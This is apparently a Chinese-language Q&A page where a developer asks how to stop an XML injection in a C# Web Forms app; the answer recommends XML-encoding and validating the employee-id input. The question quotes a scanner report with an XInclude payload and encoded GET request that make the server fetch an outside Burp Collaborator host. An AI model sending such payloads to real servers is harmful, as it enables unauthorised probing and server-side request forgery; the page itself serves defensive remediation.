c# - 如何防止 XML 注入
问题描述
我收到了一份漏洞报告。
XML 被注入到 URL“XInclude”中。我试图找到一个验证来阻止 XML 被执行。我的 Web 应用程序是使用带有 Web 表单的 Visual Studio C# 构建的。
我正在考虑从 web.config 或 IIS 验证这一点。我不确定是否必须添加代码来验证或解析 XML。
问题详情:
URL 路径文件名似乎容易受到 XML 注入的影响。有效载荷:
<mhx xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0.burpcollaborator.net/foo"/></mhx>
被发送到服务器。此有效负载包含一些引用外部域上的 URL 的 XML。应用程序与该域交互,表明解析器处理了注入的 XML。
要求
GET /Edit/Employee/%3cmhx%20xmlns%3axi%3d%22http%3a//www.w3.org/2001/XInclude%22%3e%3cxi%3ainclude%20href%3d%22http%3a//o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0.burpcollaborator.net/foo%22/%3e%3c/mhx%3e?RequestId=428 HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Connection: close
解决方案
您没有在问题中包含代码的相关部分,也没有添加太多上下文,因此无法比下面更准确地回答。
您需要正确编码(使用 XML 编码)参数,然后再将其写入 xml 文件,然后再进行处理。编码是您的第一道防线。不幸的是,这在 C# 中一点也不简单,并且取决于用户输入在 XML 中的确切位置。
除此之外,您应该验证您的输入。在上面的 URL 中,我猜你期望的是一个 Employee id,可能是一个数字。如果它是一个数字,您应该在使用它之前验证它。如果它不是数字,您可能仍然可以验证它(例如长度、字符集、格式),以便不会处理格式错误的输入。
这两个(嗯,很可能甚至其中之一)可以防止漏洞。
推荐阅读
- python - 对无法正常使用双打的字典列表进行排序
- php - 有没有办法在PHP中在一分钟内达到请求数后设置延迟时间?
- r - 使用 hour/min 和 seq 创建标签以创建 bin
- regex - 仅使用正则表达式删除 xml 标记中的破折号
- google-maps - 插入谷歌地图标记集群
- emf - 在 Sirius 中为容器创建动态表示
- android - Kotlin 中的 Firebase Firestore 权限被拒绝
- android - 画布的`drawTextRun`有什么用?它与`drawText`有什么不同?
- php - shell_exec 命令 js-beautify 无法运行
- git - 如何恢复被 git pull rebase 删除的文件